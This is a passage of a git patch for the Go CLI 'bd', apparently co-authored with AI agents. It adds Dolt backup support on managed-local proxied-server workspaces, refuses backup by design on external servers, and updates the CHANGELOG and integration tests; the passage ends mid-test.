"github.com/spf13/pflag" -) - -type TransformCapability struct { - Path string - Argument string - Outcome ProxyCapabilityOutcome - Code string - Message string - ExitCode int - Mutates bool -} - -var transformCapabilityRows = []TransformCapability{ - transformRefused("rename"), - transformRefused("rename-prefix"), - transformRefusedWithArgs("rename-prefix", "--dry-run"), - transformRefusedWithArgs("rename-prefix", "--repair"), - transformRefusedWithArgs("rename-prefix", "--dry-run --repair"), - transformRefused("duplicate"), - transformRefusedWithArgs("duplicate", "--of"), - transformRefused("supersede"), - transformRefusedWithArgs("supersede", "--with"), - {Path: "duplicates", Outcome: ProxyOutcomeHonored}, - transformRefusedWithArgs("duplicates", "--auto-merge"), - {Path: "duplicates", Argument: "--auto-merge --dry-run", Outcome: ProxyOutcomeHonored}, -} - -func transformRefused(path string) TransformCapability { - return transformRefusedWithArgs(path, "") -} - -func transformRefusedWithArgs(path, argument string) TransformCapability { - displayPath := path - if argument != "" { - displayPath += " " + argument - } - return TransformCapability{ - Path: path, Argument: argument, Outcome: ProxyOutcomeRefused, - Code: "proxy.transform.unsupported", Message: displayPath + " is not supported in proxied-server mode", ExitCode: 1, - } -} - -func transformCapabilityError(row TransformCapability) *ProxyCapabilityError { - return &ProxyCapabilityError{Code: row.Code, Message: row.Message, ExitCode: row.ExitCode, Mutates: row.Mutates} -} - -func lookupTransformCapability(cmd *cobra.Command) (TransformCapability, bool) { - path := cmd.CommandPath() - path = strings.TrimSpace(strings.TrimPrefix(path, cmd.Root().Name())) - var args []string - cmd.Flags().Visit(func(f *pflag.Flag) { - if transformPolicyFlags[f.Name] { - args = append(args, "--"+f.Name) - } - }) - sort.Strings(args) - arg := strings.Join(args, " ") - for _, row := range transformCapabilityRows { - if row.Path == path && row.Argument == arg { - return row, true - } - } - return TransformCapability{}, false -} - -// Only flags that alter a transform's execution belong in the capability key. -// Output, tracing, and other inherited root flags must not bypass a refusal. -var transformPolicyFlags = map[string]bool{ - "auto-merge": true, "dry-run": true, "repair": true, "of": true, "with": true, -} - -func validateProxyTransformBeforeProvider(cmd *cobra.Command) error { - if cmd == nil { - return nil - } - if row, ok := lookupTransformCapability(cmd); ok { - if row.Outcome == ProxyOutcomeRefused { - return HandleProxyCapabilityError(transformCapabilityError(row)) - } - } - return nil -} From ca37d8f9fcdb5f680fb6607f8486b58163115d58 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 23 Sep 2026 02:16:45 -0700 Subject: [PATCH 181/624] feat(backup): route the backup family over proxied-server, refused by design off-host (proxied-parity S3) (#6584) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * refactor(proxy): one capability registry, with a reason on every refusal Proxied-server policy lived in three path tables (a maintenance refusal map, a history classification map, a transform row list), each with its own lookup and its own front-door validator, plus a flag matrix. Nothing forced a new command to appear in any of them, so an unclassified command sailed past the gate and died in the store factory with `proxy server store should be uow provider`. That — not the table count — was the root problem. One table now (cmd/bd/capability_registry.go), and a test that fails when a runnable command is missing from it. Adding a command is no longer a place where policy can be forgotten: it is a build failure until someone decides whether the proxied front door lets it through. Every refusal carries a Reason: `design` where refusing is correct and expected to stay (shared history, multi-repo routing, destructive admin, storage-format surgery, strict --readonly), `unimplemented` where it is a gap with a named owner. The reason renders in the refusal JSON, additive to the frozen {code, error, mutates} contract, and is omitted on refusals that report a runtime state rather than a policy so a consumer keying on its presence is never told "" by mistake. The registry also inventories the 57 untyped refusals commands raise from their own RunE. Those rows are not enforced — converting them changes observable output and belongs to the slice that owns each family — but a source scan now keeps the inventory honest in both directions. The store-factory backstop is typed as `proxy.store.unrouted`, the unreachable duplicate readonly refusal in main.go is gone (the proxied branch above it already returns for the only config that reaches it), and with it `backendSupportsStrictReadonly`, which had no other caller. No outcome changes. Every code, message and exit status is identical, which #6576's five-topology matrix proves: 90/90 cells unchanged (HONORED 47, REFUSED_TYPED 24 = 4 design + 20 unimplemented, ERROR 12, WRONG_ANSWER 4, DEGRADED 3), all five topologies exercised, no skips. Co-Authored-By: Claude Fable 5 * refactor(proxy): `migrate hooks` is an unimplemented refusal, not a design one The registry filed `migrate hooks` under "storage-format and workspace surgery against a store other clients may be holding open". That rationale does not describe it: migrate_hooks.go plans and applies GIT HOOK FILE migration through doctor.PlanHookMigration, on the local filesystem, and opens no store at all. Left as it was, proxied-local — the default topology since 1.3.0 — loses the command permanently, because `design` tells every later slice the refusal is semantic and settled. It is not settled, but it is also not free to lift, and the difference is structural rather than semantic. `migrate hooks` appears on none of main.go's store-init skip lists, so permitting it makes the root pre-run open the proxied provider before RunE runs. Measured with the row flipped to permitted, not reasoned about: on a managed-local workspace `bd migrate hooks --dry-run` started the proxy AND its dolt child — both pidfiles present — to print a hook plan for five missing hooks, and on a workspace with an unreadable sidecar it exited 1 with "failed to open uow provider: corrupt proxied-server sidecar ..." where it had cleanly refused before. Trading a typed refusal for a provider-open error is not a lift. So: Reason=unimplemented with a Tracking item that names the actual work — put the command on the store-init skip list first, then permit it — which is S7's, not this slice's. No outcome changes; the row still refuses with the same code, message and exit status. The registry header now says that permitting a path costs a provider open, since that is the fact this row turns on and the one the completeness test cannot see. Also leaves S7 an explicit instruction on the rows next door. `migrate issues`, `migrate-personal` and `admin cleanup`/`admin reset` claim `design` on a topology-blind rationale — "a store other clients may be holding open", "destructive against a possibly-shared store" — that describes external and team-server workspaces and does not describe managed-local, which is 1:1 and bd-owned. They are not reclassified here: the table cannot yet express "refused, except on managed-local", and narrowing them is semantic work nobody has done. The comments now say that is why, so the next reader does not mistake conservatism for a considered verdict. Co-Authored-By: Claude Fable 5 * feat(backup): route the backup family over proxied-server, refuse it by design off-host A proxied-server workspace had no backup path at all: all five verbs — init, sync, remove, status, restore — refused. Proxied has been the default topology since 1.3.0, which made this the highest user-weight gap in the proxied-parity plan. The mechanism needed no proxy work. CALL DOLT_BACKUP(...) is ordinary SQL, RunNonTx already hands out a raw pinned connection (the seam compact --dolt and gc run on), the UOW DSN sets a connect timeout and no read deadline, and an active connection keeps the idle reaper from arming — so a backup that takes minutes is safe from both the driver and the 30s reaper. The work was use cases, route files and policy rows, and the premise held. The policy is the interesting half, and it is the first genuinely topology-differentiated rule in the capability registry. A backup destination is resolved by the SERVER: `file:///…` names a path on the machine running dolt. On managed-local that machine and that user are bd's own, because bd spawned the child. Anywhere else — an external host or socket, or a beads-team-server database — the URL describes a filesystem bd cannot see, so honoring the command would either fail at the point of use or, far worse, report success having written the backup where the operator will never look. Those shapes stay refused with Reason=design: no plumbing on this side gives bd a path on somebody else's host. Team-server is classified by OWNERSHIP, not transport. bts owns the store's schema and identity whether bd reaches it over a port, a socket, or a child bd started, and one client registering a server-side backup remote acts on every client's data — the shape of the storm this command's own help text warns about. Restore quiesces before it replaces. DOLT_BACKUP('restore') swaps the database under the server, which is undefined with clients connected, so: the exclusive workspace gate `bd backup restore` already takes excludes every other gated bd command (including `bd serve`); this closes the provider the pre-run opened and shuts the proxy and its dolt child down; it reopens a provider of its own to run the restore as the only client; then it puts the topology down and reopens once more to reconcile the project identity and the backup remote — which also proves the restored database is serviceable. The final shutdown leaves the workspace quiescent for the next command to relaunch lazily. Registry rows gain a Topology map and honoredOn(), stated as "refuse, except here" so a shape nobody thought about — a new transport, or the unknown a corrupt sidecar produces — inherits the refusal rather than the exemption. resolveProxiedTopology reads the shape from the workspace and reports unknown rather than guessing. `bd backup restore --json` now prints a result object on every topology; it printed nothing before, which left a caller unable to tell a completed restore from a skipped one. The four backup subcommands that lacked SilenceUsage/ SilenceErrors no longer follow their error message with "Error: exit code 1" and a usage block. Verified by round trip, not by exit codes: TestManagedLocalProxiedBackupRoundTrip takes a backup on a live managed-local workspace, creates an issue after it, restores, and asserts the pre-backup issue is back and the post-backup one is gone, with both pidfiles absent afterwards. TestProxiedServerBackupRefusedOnExternalTopology pins the typed design refusal against the shared container and proves a refused command starts nothing and writes nothing. Flips four cells of #6576's matrix: `backup status` and `backup sync` go REFUSED_TYPED/unimplemented -> HONORED and -> ERROR ("no backup destination configured", the command's own error, same as every direct topology) on proxied-local, and unimplemented -> design on proxied-external-tcp. Co-Authored-By: Claude Fable 5 * fix(backup): say why proxied backup is refused, and stop calling a cleanup failure a restore failure Review follow-ups on the proxied backup slice. None of them changes which commands are honored on which topology; what changes is what the refusal CLAIMS, and what a restore says when only its teardown failed. The refusal rationale was true of one destination scheme out of five. It said "a backup destination is resolved on the server's filesystem, not this client's" — which describes `file://` and nothing else. resolveDoltBackupURL passes `https://`, `aws://` and `gs://` straight through, and `bd backup`'s own help recommends DoltHub by name; for those the server pushes over the network from its own environment and no filesystem of anybody's is involved. An operator running `bd backup init https://doltremoteapi.dolthub.com/...` on an external topology got a permanent verdict explained by a filesystem the command never touches. The refusal itself stands, on the reason that is true of every scheme: `CALL DOLT_BACKUP('add', …)` registers the remote ON THE SERVER, where it is global to every client connected to it, so one workspace's backup decision becomes everyone's — the same shape as the auto-backup storm this command's help text already warns about. The file:// locality problem is now stated as the second, scheme-specific problem it is. The message keeps its frozen " is not supported in proxied-server mode" prefix and its proxy.backup.unsupported code. The remote-scheme case gets a Tracking item, the way `diff` got "1.4 candidate". The outcome is design; that particular CASE is an open question, and a design label with no tracking reads as "never" to every later slice. It is the same server-env credential question S4 has to answer for `dolt push` on these same topologies. Recorded there too: restore-from-a-remote is already half-broken in DIRECT mode, because validateBackupRestoreDir stats its argument, so `bd backup restore https://...` fails everywhere today. A restore that succeeded and then failed to shut the proxy down reported "restore failed". The operator's data was back; they were told it was not, and the obvious next move — run the restore again — was the wrong one. withQuiescedProxiedProvider now returns teardown failures wrapped in *proxiedTeardownError instead of flattening them into the operation's error, and the message the caller renders is split into a function a test can hold still, because the judgement it encodes (did the data come back) is the point. Both call sites distinguish now; the second one's "did not reopen" wording was also wrong for a teardown failure, since it had reopened. Two smaller things while in here. The guard-rail comment on newProxiedServerUOWProviderAdopting still said "only two callers legitimately have no workspace identity to assert" — this slice added a third. That comment is the register of identity-assertion bypasses, so it now names the third and why, and says what to do about a fourth. And DirToFileURL was "file://" + filepath.Abs with no scheme check: it would have turned a DoltHub URL into file:///cwd/https:/doltremoteapi.dolthub.com/... , a valid-looking URL naming a directory nobody asked for. Unreachable today, and every caller is a restore path, which is exactly the capability the tracking item above describes. CHANGELOG additionally discloses two direct-mode changes this slice makes that were previously only visible in the diff: `bd backup restore --json` prints a result object on EVERY topology where it used to print nothing, and the four backup subcommands that gained SilenceUsage/SilenceErrors no longer follow a failure with "Error: exit code 1" and a usage block, on every topology. Co-Authored-By: Claude Fable 5 * fix(backup): quiesce failed restore reopens and pin JSON output (bd-obos) Preserve the primary constructor or operation error while reporting cleanup failures without a successful-restore marker. Exercise a real malformed-backup reopen failure and assert both pidfiles are removed; retain the successful round trip and assert its JSON result. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Julian Knutsen --------- Co-authored-by: Claude Fable 5 (cherry picked from commit c69dd3061a25f176f0159ebde13426d2143b426c) --- CHANGELOG.md | 36 ++ cmd/bd/backup.go | 4 +- cmd/bd/backup_dolt.go | 38 +- ...ackup_proxied_external_integration_test.go | 107 ++++ .../backup_proxied_local_integration_test.go | 208 ++++++++ cmd/bd/backup_proxied_policy_test.go | 285 +++++++++++ cmd/bd/backup_proxied_server.go | 477 ++++++++++++++++++ cmd/bd/backup_restore.go | 25 +- cmd/bd/backup_status_test.go | 69 ++- cmd/bd/capability_registry.go | 140 ++++- cmd/bd/capability_registry_history_test.go | 10 +- cmd/bd/capability_registry_test.go | 90 ++-- cmd/bd/capability_registry_transform_test.go | 12 +- cmd/bd/main.go | 10 +- cmd/bd/proxy_capability.go | 20 +- cmd/bd/proxy_capability_test.go | 13 +- cmd/bd/proxy_topology.go | 54 ++ cmd/bd/uow_factory.go | 23 +- internal/storage/versioncontrolops/backup.go | 13 + .../storage/versioncontrolops/backup_test.go | 29 ++ 20 files changed, 1548 insertions(+), 115 deletions(-) create mode 100644 cmd/bd/backup_proxied_external_integration_test.go create mode 100644 cmd/bd/backup_proxied_local_integration_test.go create mode 100644 cmd/bd/backup_proxied_policy_test.go create mode 100644 cmd/bd/backup_proxied_server.go create mode 100644 cmd/bd/proxy_topology.go diff --git a/CHANGELOG.md b/CHANGELOG.md index f8ba307ec..46b484813 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,31 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Added + +- **`bd backup` works on a proxied-server workspace bd runs the Dolt server + for.** `bd backup init`, `sync`, `remove`, `status` and `restore` are routed + over the proxied provider; before this, a proxied workspace — the default + topology since 1.3.0 — had no backup path at all. `bd backup restore` stops + the proxy and its Dolt child before replacing the database and leaves the + workspace quiescent, so the next command relaunches against the restored + data. + + The family stays **refused by design** on a proxied workspace pointed at a + Dolt server bd does not own (an external host, socket, or a beads-team-server + database): `CALL DOLT_BACKUP('add', …)` registers the backup remote on the + *server*, where it is global to every client connected to it, so one + workspace's backup decision would silently become everyone's — the shape + `bd backup`'s own help text already warns about for auto-backup. A `file://` + destination has a second problem on top, since the server resolves that path + on its own filesystem. The refusal keeps the `proxy.backup.unsupported` code + and now carries `"reason": "design"`; a backup story for those deployments + belongs to whoever runs the server. Whether a *remote-scheme* destination + (DoltHub, `aws://`, `gs://`) should eventually be allowed there is recorded as + an open question rather than settled — the server pushes those over the + network from its own environment, which is the same credential question the + next slice has to answer for `dolt push`. + ### Changed - **Proxied-server refusals now say *why* they refuse.** The JSON a refused @@ -22,6 +47,17 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 (`proxy.store.unrouted`) instead of the bare string `proxy server store should be uow provider`. +- **`bd backup restore --json` prints a result object on every topology** + (`{"restored": true, "source": "
"}`). It previously printed nothing at + all, which left a caller unable to tell a completed restore from a silently + skipped one. This applies to direct/embedded workspaces too, not only proxied + ones. +- **`bd backup init`, `sync`, `remove` and `restore` no longer print a usage + block after a failure.** They now silence cobra's own error and usage + rendering like the rest of the CLI, so a failure is one error line on stderr + instead of the message followed by `Error: exit code 1` and the full usage + text. Exit statuses are unchanged; this applies on every topology. + ## [1.3.1] - 2026-09-16 ### Changed diff --git a/cmd/bd/backup.go b/cmd/bd/backup.go index 4f5249ef1..6e2e40325 100644 --- a/cmd/bd/backup.go +++ b/cmd/bd/backup.go @@ -56,7 +56,9 @@ func newBackupStatusCommand(sizeDatabase backupSizeFunc) *cobra.Command { SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { if usesProxiedServer() { - return HandleErrorRespectJSON("backup status is not supported in proxied-server mode") + if err := requireLocalProxiedBackup("backup status"); err != nil { + return err + } } evt := metrics.NewCommandEvent("backup-status") defer func() { diff --git a/cmd/bd/backup_dolt.go b/cmd/bd/backup_dolt.go index 2e42ad2c0..5ee084260 100644 --- a/cmd/bd/backup_dolt.go +++ b/cmd/bd/backup_dolt.go @@ -46,10 +46,13 @@ DoltHub (recommended for cloud backup): After adding, run 'bd backup sync' to push your data.`, Args: cobra.ExactArgs(1), + // As on `backup status`: the failures here are configuration and I/O + // errors, not usage errors, and cobra's default prints the message, then + // "Error: exit code 1", then the whole usage block — three things where one + // was wanted, and on --json it lands after the JSON object. + SilenceUsage: true, + SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { - if usesProxiedServer() { - return HandleErrorRespectJSON("backup init is not supported in proxied-server mode") - } evt := metrics.NewCommandEvent("backup-init") defer func() { if c := metrics.Global(); c != nil { @@ -60,6 +63,10 @@ After adding, run 'bd backup sync' to push your data.`, ctx := rootCtx rawPath := args[0] + if usesProxiedServer() { + return runBackupInitProxied(ctx, rawPath) + } + if store == nil { return fmt.Errorf("no store available") } @@ -124,10 +131,9 @@ backup location configured with 'bd backup init'. The backup is atomic — if the sync fails, the previous backup state is preserved. Run 'bd backup init ' first to configure a destination.`, + SilenceUsage: true, + SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { - if usesProxiedServer() { - return HandleErrorRespectJSON("backup sync is not supported in proxied-server mode") - } evt := metrics.NewCommandEvent("backup-sync") defer func() { if c := metrics.Global(); c != nil { @@ -136,6 +142,9 @@ Run 'bd backup init ' first to configure a destination.`, }() ctx := rootCtx + if usesProxiedServer() { + return runBackupSyncProxied(ctx) + } if store == nil { return fmt.Errorf("no store available") } @@ -358,7 +367,14 @@ func showDoltBackupStatusJSON() map[string]interface{} { // doltBackupSize returns the active database size when the current store // instance can measure its storage locally. Unsupported backends preserve the // optional status-field contract instead of failing the command. +// +// Proxied mode has no store to ask — the provider owns the connection — so the +// fork lives here, where "which backend measures this database" is already the +// question being answered. func doltBackupSize(ctx context.Context) (int64, bool, error) { + if usesProxiedServer() { + return doltBackupSizeProxied(ctx) + } if store == nil { return 0, false, fmt.Errorf("no storage backend is open") } @@ -405,11 +421,10 @@ var backupRemoveCmd = &cobra.Command{ This unregisters the backup remote from Dolt and removes the local backup configuration. The backup data at the destination is not deleted.`, - Aliases: []string{"rm"}, + Aliases: []string{"rm"}, + SilenceUsage: true, + SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { - if usesProxiedServer() { - return HandleErrorRespectJSON("backup remove is not supported in proxied-server mode") - } evt := metrics.NewCommandEvent("backup-remove") defer func() { if c := metrics.Global(); c != nil { @@ -418,6 +433,9 @@ backup configuration. The backup data at the destination is not deleted.`, }() ctx := rootCtx + if usesProxiedServer() { + return runBackupRemoveProxied(ctx) + } if store == nil { return fmt.Errorf("no store available") } diff --git a/cmd/bd/backup_proxied_external_integration_test.go b/cmd/bd/backup_proxied_external_integration_test.go new file mode 100644 index 000000000..5f3ce3f56 --- /dev/null +++ b/cmd/bd/backup_proxied_external_integration_test.go @@ -0,0 +1,107 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" +) + +// TestProxiedServerBackupRefusedOnExternalTopology is the other half of slice +// S3: the backup family is honored on managed-local and refused BY DESIGN +// against a Dolt server bd does not own. +// +// The refusal matters more than the capability. `CALL DOLT_BACKUP('add', …)` +// registers the remote on the server, where it is global to every client of +// that server, so one workspace's backup decision becomes everyone's. With a +// file:/// destination there is a second problem on top: the server resolves +// that path on its own filesystem, so honoring it here would either fail at the +// point of use or write the backup to a directory on the server's host that the +// operator asking for it will never look in. The second outcome is worse than +// any refusal. +// +// Named TestProxiedServer* so .github/scripts/proxied-test-shard.sh runs it in +// the external lane, which is the only one with an external Dolt server. +func TestProxiedServerBackupRefusedOnExternalTopology(t *testing.T) { + requireProxiedServerEnv(t) + + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "bkext") + dest := filepath.Join(t.TempDir(), "dolt-backup") + + // Refusals are decided before the provider is constructed, so take the + // topology down first: a pidfile appearing during one of these commands + // would mean the refusal came too late to have cost nothing. + if err := proxy.Shutdown(p.proxyRoot); err != nil { + t.Logf("proxy.Shutdown(%s) before the refusal probes: %v", p.proxyRoot, err) + } + + for _, tc := range []struct { + name string + args []string + }{ + {"status", []string{"backup", "status"}}, + {"init", []string{"backup", "init", dest}}, + {"sync", []string{"backup", "sync"}}, + {"remove", []string{"backup", "remove"}}, + {"restore", []string{"backup", "restore", dest}}, + } { + t.Run(tc.name, func(t *testing.T) { + args := append([]string{"--json"}, tc.args...) + out, err := bdProxiedRun(t, bd, p.dir, args...) + if err == nil { + t.Fatalf("bd %s succeeded on an external proxied topology:\n%s", + strings.Join(tc.args, " "), out) + } + + var refusal struct { + Code string `json:"code"` + Error string `json:"error"` + Mutates bool `json:"mutates"` + Reason string `json:"reason"` + } + start := strings.Index(string(out), "{") + if start < 0 { + t.Fatalf("no typed refusal JSON:\n%s", out) + } + if err := json.Unmarshal(out[start:], &refusal); err != nil { + t.Fatalf("parse refusal JSON: %v\n%s", err, out) + } + if refusal.Code != "proxy.backup.unsupported" { + t.Errorf("code = %q, want proxy.backup.unsupported", refusal.Code) + } + if refusal.Mutates { + t.Errorf("refusal reported mutates=true") + } + // design, not unimplemented: no later slice is going to lift this. + if refusal.Reason != string(ProxyReasonDesign) { + t.Errorf("reason = %q, want design", refusal.Reason) + } + // The reason has to be the one that is true of every destination + // scheme. "resolved on the server's filesystem" is a file:// + // property, and `bd backup init` also takes https/aws/gs. + if !strings.Contains(refusal.Error, "the backup remote is registered on the server, where it is global to every client") { + t.Errorf("refusal message does not say why: %q", refusal.Error) + } + + // Nothing was started and nothing was written: the refusal is free. + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(p.proxyRoot, name)); err == nil { + t.Errorf("a refused backup command started the topology (%s)", name) + } + } + if _, err := os.Stat(filepath.Join(p.beadsDir, "dolt-backup.json")); err == nil { + t.Errorf("a refused backup command wrote the local backup config") + } + if _, err := os.Stat(dest); err == nil { + t.Errorf("a refused backup command created %s", dest) + } + }) + } +} diff --git a/cmd/bd/backup_proxied_local_integration_test.go b/cmd/bd/backup_proxied_local_integration_test.go new file mode 100644 index 000000000..166d9ab94 --- /dev/null +++ b/cmd/bd/backup_proxied_local_integration_test.go @@ -0,0 +1,208 @@ +//go:build cgo && unix + +package main + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "slices" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" + "github.com/steveyegge/beads/internal/storage/versioncontrolops" +) + +// TestManagedLocalProxiedBackupRoundTrip is the claim slice S3 makes: a +// managed-local proxied workspace can take a Dolt-native backup and get its +// data back from it. +// +// It is deliberately a ROUND TRIP rather than a pair of exit-code assertions. +// A backup command that reports success without producing a restorable +// artifact is the failure that matters here, and the only way to rule it out is +// to restore the artifact and look at the issues that come back: the issue +// created BEFORE the backup must survive, and the one created AFTER it must be +// gone. Both directions are load-bearing — a restore that changed nothing would +// pass the first check alone. +// +// Named TestManagedLocalProxied* so the proxied-local smoke lane +// (.github/workflows/proxied-local-smoke.yml) runs it; that lane is the only +// one that sets BEADS_TEST_PROXIED_LOCAL. +func TestManagedLocalProxiedBackupRoundTrip(t *testing.T) { + requireManagedLocalProxiedEnv(t) + + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkrt", 5*time.Minute) + + before := bdProxiedCreate(t, bd, p.dir, "survives the restore", "-p", "1") + + // Status first: it is the read-only probe that proves the route exists at + // all, and it must answer with a real measured size rather than the + // "optional field omitted" the external topologies produce. + status := readProxiedBackupStatus(t, bd, p) + if status.Dolt.Configured { + t.Fatalf("fresh workspace reports a configured backup: %+v", status.Dolt) + } + if status.DatabaseSize.Bytes <= 0 { + t.Fatalf("backup status measured no database: %+v", status.DatabaseSize) + } + + dest := filepath.Join(t.TempDir(), "dolt-backup") + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "init", dest); err != nil { + t.Fatalf("bd backup init %s: %v\n%s", dest, err, out) + } + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "sync"); err != nil { + t.Fatalf("bd backup sync: %v\n%s", err, out) + } + // A Dolt backup is a chunk store with a manifest; an empty directory here + // would mean the command reported a success it did not perform. + if _, err := os.Stat(filepath.Join(dest, "manifest")); err != nil { + t.Fatalf("backup sync produced no manifest at %s: %v", dest, err) + } + + after := bdProxiedCreate(t, bd, p.dir, "must not survive the restore", "-p", "1") + + out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", dest, "--force", "--json") + if err != nil { + t.Fatalf("bd backup restore %s --force: %v\n%s", dest, err, out) + } + var result struct { + Restored bool `json:"restored"` + Source string `json:"source"` + } + if err := json.Unmarshal(out, &result); err != nil { + t.Fatalf("parse restore JSON: %v\n%s", err, out) + } + if !result.Restored || result.Source != dest { + t.Fatalf("unexpected restore result: %+v; want restored=true, source=%s", result, dest) + } + + // The restore quiesces the topology and leaves it down, so the next command + // relaunches against the restored data. Assert that rather than assume it: + // a restore that ran with the old server still up would be the undefined + // case this design exists to avoid. + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(p.proxyRoot, name)); err == nil { + t.Fatalf("restore left %s in place; the topology should be quiescent afterwards", name) + } + } + + issues := bdProxiedListJSON(t, bd, p) + var ids []string + for _, issue := range issues { + ids = append(ids, issue.ID) + } + if !slices.Contains(ids, before.ID) { + t.Fatalf("restore lost the issue the backup contained (%s); got %v", before.ID, ids) + } + if slices.Contains(ids, after.ID) { + t.Fatalf("restore did not replace the database: %s was created after the backup and is still here; got %v", + after.ID, ids) + } + + // The restore registers its source as the backup destination, so a plain + // `bd backup sync` works straight afterwards with no second init. + restored := readProxiedBackupStatus(t, bd, p) + if !restored.Dolt.Configured || !strings.HasSuffix(restored.Dolt.BackupURL, dest) { + t.Fatalf("restore did not register %s as the backup destination: %+v", dest, restored.Dolt) + } + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "sync"); err != nil { + t.Fatalf("bd backup sync after restore: %v\n%s", err, out) + } + + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "remove"); err != nil { + t.Fatalf("bd backup remove: %v\n%s", err, out) + } + removed := readProxiedBackupStatus(t, bd, p) + if removed.Dolt.Configured { + t.Fatalf("backup remove left the destination configured: %+v", removed.Dolt) + } + // Removing the destination unregisters the remote; it does not delete the + // backup, which is what makes `bd backup remove` safe to run. + if _, err := os.Stat(filepath.Join(dest, "manifest")); err != nil { + t.Fatalf("backup remove deleted the backup data at %s: %v", dest, err) + } + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "sync"); err == nil { + t.Fatalf("bd backup sync succeeded with no destination configured:\n%s", out) + } +} + +// A backup with a malformed migration table can replace the database but fail +// the following provider construction at schema initialization. That failure must +// still leave both processes down, even though no provider was returned. +func TestManagedLocalProxiedBackupRestoreReopenFailure(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkrf", 5*time.Minute) + dest := filepath.Join(t.TempDir(), "malformed-backup") + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "init", dest); err != nil { + t.Fatalf("backup init: %v\n%s", err, out) + } + + // Damage the migration table in the backup, then repair the live table so + // the command's initial provider can open normally. Only its post-restore + // constructor will see the malformed table and fail after starting Dolt. + held := openHeldManagedProxiedConn(t, bd, p) + ctx := context.Background() + if _, err := held.Conn.ExecContext(ctx, "ALTER TABLE schema_migrations RENAME COLUMN version TO broken_version"); err != nil { + t.Fatalf("damage migration table: %v", err) + } + if _, err := held.Conn.ExecContext(ctx, "CALL DOLT_COMMIT('-Am', 'Simulate a malformed migration table in the backup')"); err != nil { + t.Fatalf("commit malformed migration table: %v", err) + } + if err := versioncontrolops.BackupSync(ctx, held.Conn, proxiedBackupTargetName); err != nil { + t.Fatalf("back up malformed schema: %v", err) + } + if _, err := held.Conn.ExecContext(ctx, "ALTER TABLE schema_migrations RENAME COLUMN broken_version TO version"); err != nil { + t.Fatalf("repair live migration table: %v", err) + } + held.Release() + + out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", dest, "--force") + if err == nil { + t.Fatalf("restore unexpectedly reopened a malformed schema:\n%s", out) + } + if !strings.Contains(string(out), "the restored database did not reopen") || !strings.Contains(string(out), "schema") { + t.Fatalf("expected post-restore schema initialization failure, got:\n%s", out) + } + if strings.Contains(string(out), "restored and reconciled") { + t.Fatalf("failed reopen reported successful reconciliation:\n%s", out) + } + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(p.proxyRoot, name)); !os.IsNotExist(err) { + t.Errorf("failed reopen should remove %s; stat error: %v", name, err) + } + } +} + +type proxiedBackupStatus struct { + Dolt struct { + Configured bool `json:"configured"` + BackupURL string `json:"backup_url"` + BackupName string `json:"backup_name"` + } `json:"dolt"` + DatabaseSize struct { + Bytes int64 `json:"bytes"` + } `json:"database_size"` +} + +func readProxiedBackupStatus(t *testing.T, bd string, p proxiedProject) proxiedBackupStatus { + t.Helper() + out, err := bdProxiedRun(t, bd, p.dir, "backup", "status", "--json") + if err != nil { + t.Fatalf("bd backup status --json: %v\n%s", err, out) + } + start := strings.Index(string(out), "{") + if start < 0 { + t.Fatalf("bd backup status --json produced no JSON:\n%s", out) + } + var status proxiedBackupStatus + if err := json.Unmarshal(out[start:], &status); err != nil { + t.Fatalf("parse backup status JSON: %v\n%s", err, out) + } + return status +} diff --git a/cmd/bd/backup_proxied_policy_test.go b/cmd/bd/backup_proxied_policy_test.go new file mode 100644 index 000000000..db2db3a70 --- /dev/null +++ b/cmd/bd/backup_proxied_policy_test.go @@ -0,0 +1,285 @@ +package main + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/configfile" +) + +// TestProxiedRestoreFailureMessage pins the one distinction the operator acts +// on: whether the data came back. A teardown failure happens after the step +// succeeded, so reporting it as "restore failed" is not a wording nit — it +// tells someone whose database IS restored to restore it again. +func TestProxiedRestoreFailureMessage(t *testing.T) { + boom := errors.New("proxy shutdown: connection refused") + + for _, tc := range []struct { + name string + afterReconcile bool + err error + wantContains []string + wantMissing []string + }{ + { + name: "restore itself failed", + err: errors.New("DOLT_BACKUP: no such backup"), + // No claim that anything was restored. + wantContains: []string{"restore failed", "no such backup"}, + wantMissing: []string{"the data is restored"}, + }, + { + name: "restore succeeded, teardown failed", + err: &proxiedTeardownError{err: boom}, + wantContains: []string{"the data is restored", "bd dolt stop --force", "bd backup init"}, + wantMissing: []string{"restore failed"}, + }, + { + name: "reconcile failed for real", + afterReconcile: true, + err: errors.New("open provider: schema is behind"), + wantContains: []string{"the restored database did not 